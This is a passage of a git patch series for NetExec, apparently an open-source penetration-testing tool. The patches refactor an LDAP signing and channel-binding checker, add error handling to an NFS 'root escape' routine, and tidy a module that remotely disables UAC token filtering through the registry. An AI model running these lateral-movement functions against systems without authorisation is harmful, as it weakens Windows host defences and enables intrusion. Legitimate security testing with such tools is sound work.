context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): stype = asyauthSecret.PASS secret = connection.password if connection.nthash: @@ -154,21 +182,24 @@ class NXCModule: if connection.aesKey: stype = asyauthSecret.AES secret = connection.aesKey - if connection.username == "" and secret == "": - credential = NTLMCredential( - secret=None, - username="Guest", - domain=None, - stype=stype, - ) - context.log.info("No username used, skipping LDAP signing check") + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential else: if not connection.kerberos: credential = NTLMCredential( secret=secret, username=connection.username, domain=connection.domain, - stype=stype, + stype=stype ) else: kerberos_target = UniTarget( @@ -189,29 +220,40 @@ class NXCModule: stype=stype, ) - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") else: - context.log.fail("Connection fail, exiting now") - sys.exit() + context.log.fail("Could not determine LDAP signing requirement.") - if DoesLdapsCompleteHandshake(connection.host) is True: - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) - if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True: - context.log.highlight('LDAPS Channel Binding is set to "When Supported"') - elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False: - context.log.highlight('LDAPS Channel Binding is set to "NEVER"') - elif ldapsChannelBindingAlwaysCheck is True: - context.log.fail('LDAPS Channel Binding is set to "Required"') + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") else: - context.log.fail("\nSomething went wrong...") - sys.exit() + context.log.fail("Could not determine LDAPS channel binding settings") else: - context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33960d62..226abfda 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -573,7 +573,7 @@ class ldap(connection): attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "": + if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": for attribute in resp[0][1]: if str(attribute["type"]) == "objectSid": sid = self.sid_to_str(attribute["vals"][0]) From d2140672186c82f69a5013dc85aefca1b78ad47a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 7 Mar 2025 10:18:05 -0500 Subject: [PATCH 73/78] Fix exception when it is not possible to list share --- nxc/protocols/nfs.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 48bf9f1c..7957deba 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -590,6 +590,10 @@ class nfs(connection): self.logger.debug(f"Trying root escape on shares: {shares}") for share in shares: mount_info = self.mount.mnt(share, self.auth) + if mount_info["status"] != 0: + self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") + self.mount.umnt(self.auth) + continue mount_fh = mount_info["mountinfo"]["fhandle"] try: possible_root_fhs = self.get_root_handles(mount_fh) From d0a4be44475b5adb944670c251f38b6c4cd0f799 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 7 Mar 2025 10:27:25 -0500 Subject: [PATCH 74/78] Move connection error to info instead of fail similar to smb etc --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 7957deba..04d534cc 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -116,7 +116,7 @@ class nfs(connection): self.port = self.mnt_port self.proto_logger() except Exception as e: - self.logger.fail(f"Error during Initialization: {e}") + self.logger.info(f"Error during Initialization: {e}") return False return True From 02616525ca6c4f74d2b829ce85534c6e91ffccea Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:11:31 -0500 Subject: [PATCH 75/78] Rename module --- nxc/modules/{remoteuac.py => remote-uac.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename nxc/modules/{remoteuac.py => remote-uac.py} (98%) diff --git a/nxc/modules/remoteuac.py b/nxc/modules/remote-uac.py similarity index 98% rename from nxc/modules/remoteuac.py rename to nxc/modules/remote-uac.py index 29518056..ec61fd9a 100644 --- a/nxc/modules/remoteuac.py +++ b/nxc/modules/remote-uac.py @@ -5,7 +5,7 @@ from impacket.examples.secretsdump import RemoteOperations # Enables UAC (prevent non RID500 account to get high priv token remotely) # Disables UAC (allow non RID500 account to get high priv token remotely) class NXCModule: - name = "remoteuac" + name = "remote-uac" description = "Enable or disable remote UAC" supported_protocols = ["smb"] opsec_safe = True @@ -39,7 +39,7 @@ class NXCModule: remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" - )['phkResult'] + )["phkResult"] # Checks if the key already exists or not try: From 446bb30be3214d5d5c75df2b5d277416719d6644 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:11:52 -0500 Subject: [PATCH 76/78] Formating --- nxc/modules/remote-uac.py | 45 +++++++++++---------------------------- 1 file changed, 12 insertions(+), 33 deletions(-) diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py index ec61fd9a..6fd5bf53 100644 --- a/nxc/modules/remote-uac.py +++ b/nxc/modules/remote-uac.py @@ -4,6 +4,8 @@ from impacket.examples.secretsdump import RemoteOperations # Module by @Defte_ # Enables UAC (prevent non RID500 account to get high priv token remotely) # Disables UAC (allow non RID500 account to get high priv token remotely) + + class NXCModule: name = "remote-uac" description = "Enable or disable remote UAC" @@ -17,14 +19,14 @@ class NXCModule: self.action = None def options(self, context, module_options): - + if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") - exit(1) + return if module_options["ACTION"].lower() not in ["enable", "disable"]: context.log.fail("ACTION must be either enable, disable or query") - exit(1) + return self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): @@ -35,47 +37,24 @@ class NXCModule: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) regHandle = ans["phKey"] - keyHandle = rrp.hBaseRegOpenKey( - remoteOps._RemoteOperations__rrp, - regHandle, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" - )["phkResult"] + keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"] # Checks if the key already exists or not try: - rrp.hBaseRegQueryValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00" - ) + rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") except Exception as e: if "ERROR_FILE_NOT_FOUND" in str(e): - context.log.debug("here") - ans = rrp.hBaseRegCreateKey( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00") + context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it") + ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00") # Disable remote UAC if self.action == "disable": - rrp.hBaseRegSetValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00", - rrp.REG_DWORD, - 1 - ) + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1) context.log.highlight("Remote UAC disabled") - + # Enable remote UAC if self.action == "enable": - rrp.hBaseRegSetValue( - remoteOps._RemoteOperations__rrp, - keyHandle, - "LocalAccountTokenFilterPolicy\x00", - rrp.REG_DWORD, - 0 - ) + rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0) context.log.highlight("Remote UAC enabled") except Exception as e: From 62afd52961e8d12b6f42c2fba3b227a3a10ce64f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:17:11 -0500 Subject: [PATCH 77/78] Add option text --- nxc/modules/remote-uac.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/nxc/modules/remote-uac.py b/nxc/modules/remote-uac.py index 6fd5bf53..95045292 100644 --- a/nxc/modules/remote-uac.py +++ b/nxc/modules/remote-uac.py @@ -1,12 +1,9 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations -# Module by @Defte_ -# Enables UAC (prevent non RID500 account to get high priv token remotely) -# Disables UAC (allow non RID500 account to get high priv token remotely) - class NXCModule: + """Module by @Defte_""" name = "remote-uac" description = "Enable or disable remote UAC" supported_protocols = ["smb"] @@ -19,7 +16,12 @@ class NXCModule: self.action = None def options(self, context, module_options): + """ + Enables UAC (prevent non RID500 account to get high priv token remotely) + Disables UAC (allow non RID500 account to get high priv token remotely) + ACTION: "enable" or "disable" (required) + """ if "ACTION" not in module_options: context.log.fail("ACTION option not specified!") return From dafc28a8c62bd66d657fa8bb9433f9f8ffb6c3b4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Mar 2025 09:33:20 -0500 Subject: [PATCH 78/78] Catch ldap error if host is not reachable --- nxc/protocols/ldap.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33960d62..53569ce3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,6 +3,7 @@ import hashlib import hmac import os +from errno import EHOSTUNREACH from binascii import hexlify from datetime import datetime from re import sub, I @@ -209,7 +210,11 @@ class ldap(connection): self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: - self.logger.error(f"Error getting ldap info {e}") + if e.errno == EHOSTUNREACH: + self.logger.info(f"Error connecting to {self.host} - {e}") + return False + else: + self.logger.error(f"Error getting ldap info {e}") self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.target = target